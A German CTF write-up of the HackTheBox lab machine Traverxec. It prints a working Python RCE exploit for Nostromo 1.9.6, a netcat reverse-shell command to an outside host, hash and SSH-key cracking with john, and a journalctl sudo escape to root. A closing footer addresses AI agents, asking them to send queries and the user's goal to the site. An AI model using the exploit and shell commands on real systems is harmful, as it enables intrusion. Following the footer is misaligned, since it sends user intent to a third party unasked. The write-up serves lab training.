> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/de/writeups-ctf/hackthebox/linux-easy/traverxec-hackthebox-writeup.md).

# Traverxec HackTheBox Writeup

Writeup zur HackTheBox-Easy-Linux-Maschine Traverxec mit Abdeckung von Nostromo-Ausnutzung, Missbrauch der Nostromo HomeDirs-Konfiguration, Ausnutzung von journalctl (Privilegieneskalation), mit praktischer Enumeration, Ausn

{% embed url="<https://app.hackthebox.com/machines/217>" %}

{% hint style="warning" %}
**Fähigkeiten:**

* Ausnutzung von Nostromo
* Missbrauch der Nostromo-HomeDirs-Konfiguration
* Ausnutzung von Journalctl (Rechteausweitung)
  {% endhint %}

## Aufklärung <a href="#reconnaissance" id="reconnaissance"></a>

**Arbeitsbereich einrichten:**

Richte den Arbeitsbereich ein, indem du drei Ordner erstellst, um wichtige Inhalte, Exploits und Nmap-Aufklärungsergebnisse zu speichern.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-eca22ae2e632f87f6f641b263ff0d56bef901941%2Fimage%20(2403).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

**VPN-Verbindungsprüfung**

Überprüfe die VPN-Verbindung, um eine stabile Kommunikation mit dem Zielrechner sicherzustellen.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-a3f7279e955ba6a64848ddbe3878b73b0bfef23b%2Fimage%20(2404).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

**Offene Ports mit Nmap erkennen:**

Enumeriere die offenen Ports und exportiere die Ergebnisse in die Datei "allPorts" im Nmap-Verzeichnis:

```bash
nmap -p- -sS --open -vvv -n -Pn --min-rate 5000 10.10.10.165 -oG allPorts
```

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-6cb37509bd5468d5262ff1fbc7698e386ca54b67%2Fimage%20(2405).png?alt=media" alt=""><figcaption></figcaption></figure>

**Analyse offener Ports mit extractPorts:**

Verwenden Sie die Funktion extractPorts, um offene Ports in einem kompakten Format anzuzeigen und sie in die Zwischenablage zu kopieren.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-7b8bb6ccc9689de78cf1e2485d1a2e5ba1ab6881%2Fimage%20(2406).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

**Port- und Versionsscan mit Nmap:**

Verwende Nmap, um die Dienstversionen zu scannen und die Ausgabe in der Datei "targeted" zu speichern:

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-a7222dd192c490848caf65a7a02225726904bc4f%2Fimage%20(2407).png?alt=media" alt=""><figcaption></figcaption></figure>

Um Domänennamen per DNS in IP-Adressen aufzulösen, fügen Sie den Domänennamen, der mit seiner IP-Adresse verknüpft ist, in das `/etc/hosts` Datei vorhanden sind.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-e210b2bbfa4b40ea507fbe021dcb3de554becd42%2F%7B80C4E6F1-B1A0-447E-AC4C-4F918462D536%7D.png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

## Port 80:

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-75707f4e9239c6d09f6dd5520b6a7a452a7c79af%2F%7B7EF12D3E-13E3-4CF6-8359-89892C20D858%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

Verwendung von `whatweb`, identifizieren wir Nostromo Version 1.9.6:

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-088e9161fa995314522a1446412837281f71b1ba%2Fimage%20(2409).png?alt=media" alt=""><figcaption></figcaption></figure>

## Ausnutzung von Nostromo

**Exploit-Suche**: An `searchploit`, finden Sie einen RCE-Exploit für Nostromo 1.9.6 (CVE-2019-16278).

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-f7b763a32f98f5e2977619392858be4657fad15c%2Fimage%20(2408).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

Laden Sie das Skript auf GitHub herunter.

{% embed url="<https://github.com/aN0mad/CVE-2019-16278-Nostromo_1.9.6-RCE>" %}

**Skript-Ausführung**: Verwendet das folgende Skript, um Befehle auf dem Server auszuführen

```python
import argparse
import socket

# Argparse einrichten
parser = argparse.ArgumentParser(description="Exploit for CVE-2019-16278 - Nostromo 1.9.6 RCE")
parser.add_argument("-t", "--target", help="Remote host to target")
parser.add_argument("-p", "--port", help="Remote port to target")
parser.add_argument("-c", "--command", help="Command to execute on the server")
parser.add_argument("-b", "--bytes", help="The number of bytes to receive back in the response")

# Variablen definieren und zuweisen
args = parser.parse_args()
TARGET = args.target
PORT = int(args.port)
COMMAND = args.command
BYTES = args.bytes

if BYTES is None:
    BYTES = 4096
else:
    BYTES = int(BYTES)

URL = "/.%0d./.%0d./.%0d./.%0d./bin/sh HTTP/1.0"

# Build and encode the payload
payload = (f"POST {URL}/r/n"
           "Content-Length: 1/r/n/r/n"
           f"echo/necho/n{COMMAND} 2>&1").encode()

# Create the socket and send the payload
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((TARGET, PORT))
s.send(payload)

# Receive the response and close the socket
print(s.recv(1024).decode())  # Decode the bytes back to string for printing
print(s.recv(BYTES).decode())
s.close()
```

```bash
python exploit.py -t 10.10.10.165 -p 80 -c whoami
```

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-033024af16e12fbfd8047ddba764013a75e3d527%2Fimage%20(2410).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

**Reverse Shell erhalten**

```bash
python exploit.py -t 10.10.10.165 -p 80 -c bash -c 'nc -e /bin/bash 10.10.14.10 443'
```

```bash
sudo nc -nlvp 443
```

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-bdec712e9c5b41877737bad009275abac37bdaa5%2Fimage%20(2411).png?alt=media" alt=""><figcaption></figcaption></figure>

#### Terminal-Verbesserung

Um das Terminal interaktiv zu machen:

```bash
script /dev/null -c bash
# Strg+Z

stty raw -echo; fg
reset xterm
export TERM=xterm
export SHELL=bash
stty rows 44 columns 184
```

## Privilegieneskalation <a href="#suid-privilege-escalation" id="suid-privilege-escalation"></a>

**Zugriff auf Nostromo-Konfigurationsdateien**:

In dem `nhttpd.conf` Datei, gibt es eine Direktive, die auf eine Datei hinweist `.htpasswd` in `/var/nostromo/conf` die Authentifizierungsinformationen enthält.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-b100981988031d66ed0d47f6ac6309b3bcc1d79f%2Fimage%20(2412).png?alt=media" alt=""><figcaption></figcaption></figure>

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-adc29cfb5f17da098715b5c757806bf5461a94c6%2Fimage%20(2413).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

`david:$1$e7NfNpNi$A6nCwOTqrNR2oDuIKirRZ/`

**Passwortentschlüsselung**:

Verwenden Sie `john` um das Passwort zu knacken:

```bash
john --wordlist=/usr/share/wordlists/rockyou.txt hash
```

`david:Nowonly4me`

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-d1ed22847a7918a05426900e0207f5a05ee29d39%2Fimage%20(2414).png?alt=media" alt=""><figcaption></figcaption></figure>

### Nostromo-HomeDirs-Konfiguration

{% hint style="info" %}
**Hintergrund:** Nostromo ist so konfiguriert, dass Benutzer Webinhalte in einem festgelegten Home-Verzeichnis hosten können, oft als `public_www` in ihrem Home-Verzeichnis (`/home/[user]/public_www`). Diese Konfiguration ermöglicht es Benutzern, über eine URL wie auf ihre eigenen Seiten zuzugreifen `http://traverxec.htb/~[user]`.
{% endhint %}

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-242fc42effb5b210e9bbb71cb6665309ec13ff37%2Fimage%20(2415).png?alt=media" alt=""><figcaption></figcaption></figure>

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-d2ed348dc48ddb4c6a7fd0b33ae07b9e82276f3a%2Fimage%20(2416).png?alt=media" alt=""><figcaption></figcaption></figure>

Beim Durchsehen dieser Datei stoßen wir außerdem auf die Erwähnung eines `public_www` Ordners als Standardspeicherort für den Webinhalt der Benutzer.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-5bcea2b3dfc1d22983e4ad13b7d7b3af31fadf61%2Fimage%20(2417).png?alt=media" alt=""><figcaption></figcaption></figure>

Beim Aufrufen von `http://traverxec.htb/~david` finden wir einen versteckten Ordner `protected-file-area` der eine Datei enthält `.tgz`.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-37689238b117466f6fdea808268c59d5317bc8bd%2F%7B90879795-388B-44B2-9028-CA16D112CAE2%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

**Inhalt herunterladen und extrahieren:**

Laden Sie die `backup-ssh-identity-files.tgz` Datei ein:

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-e144dff2e7bddb6605b23290342d0beb5ea9403e%2F%7BFF58810F-36FF-466B-A751-D8B121742315%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

Lassen Sie uns den Inhalt extrahieren, um einen SSH-Schlüssel wiederherzustellen:

`tar -xzf backup-ssh-identity-files.tgz`

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-381f36b881b14f6f1ee7438927c9640bd28728ad%2Fimage%20(2418).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

### **Entschlüsselung des SSH-Schlüssels:**

Der extrahierte SSH-Schlüssel ist passwortgeschützt. Wir verwenden `ssh2john` um den Schlüssel in das von `john` nutzbare Format zu konvertieren und starten einen Brute-Force-Angriff:

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-2492919bf52def516b34b8c2eb3ffbfc13c28367%2F%7B5368B79E-2E0F-45B7-8896-89E2EADC84F9%7D.png?alt=media" alt="" width="371"><figcaption></figcaption></figure>

```bash
ssh2john id_rsa > id_rsa.hash
```

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-0e55aabde216a35d71e3ea0e41d750058f903379%2Fimage%20(2419).png?alt=media" alt=""><figcaption></figcaption></figure>

```bash
john -w:/usr/share/SecLists/Passwords/Leaked-Databases/rockyou.txt id_rsa.hash
```

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-5133da9c42297e8e8c5f98f0335a4dc53fa0e42f%2Fimage%20(2420).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

Gefundenes Passwort: `hunter`.

```bash
ssh -i id_rsa david@10.10.10.165
```

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-07aedad3a3c39ec61f5f7597c19239997d63d445%2Fimage%20(2421).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

### Flag user.txt

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-e2cd9abd7676ecd19ae0e5ff5be89960a79c9542%2Fimage%20(2422).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

## Ausnutzung von Journalctl:

{% hint style="info" %}
Wir haben ein Skript gefunden, `server-stats.sh`, im `/bin` Verzeichnis. Dieses Skript ist so konfiguriert, dass es den `/usr/bin/journalctl` Befehl mit sudo-Rechten ausführt. Das bedeutet, dass wir diesen Befehl ausnutzen können, um Root-Rechte zu erlangen
{% endhint %}

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-c85d645312425f2066339222d0c88a04d34a92e8%2Fimage%20(1141).png?alt=media" alt=""><figcaption></figcaption></figure>

**Nach Schwachstelle in GTFOBins suchen:**

* Beim Blick in GTFOBins stellen wir fest, dass `journalctl` verwendet werden kann, um Rechte zu erhöhen, indem ein Shell-Befehl ausgeführt wird.

{% embed url="<https://gtfobins.github.io/gtfobins/journalctl/>" %}

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-c538ffed75cd2cf69914bc74acb001c051bd943a%2F%7B8538B02D-B4A2-4564-8B19-6F13D68A4D62%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

**Ausführungsbedingungen:**

Um diese Ausnutzung auszulösen, müssen Sie die Größe des Terminalfensters einschränken, um den `less` Paginierungsmodus in `journalctl`. Dieser Modus ermöglicht es Ihnen, Shell-Befehle über `!`.

```bash
/usr/bin/sudo /usr/bin/journalctl -n5 -unostromo.service
```

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-412b84580d5e82a85cb399f39e5d6c6173c243f9%2Fimage%20(1142).png?alt=media" alt=""><figcaption></figcaption></figure>

Sobald Sie im `less` Modus sind, geben Sie den folgenden Befehl ein, um eine Root-Shell zu erhalten:

```bash
!/bin/sh
```

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-0f99f5c62600d4373730c20c8f04620c369c6ee9%2Fimage%20(1143).png?alt=media" alt=""><figcaption></figcaption></figure>

### root.txt-Flagge :)

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-b2895872cab3ac8c09a0ed99c92cb86017d8e3ea%2Fimage%20(1144).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-12f8f1ffd5171fbf08a0857a77568549eba1a7e6%2F%7BB46E9EDF-28EB-4C14-BBEA-7C138AEEEF6F%7D.png?alt=media" alt="" width="518"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/de/writeups-ctf/hackthebox/linux-easy/traverxec-hackthebox-writeup.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
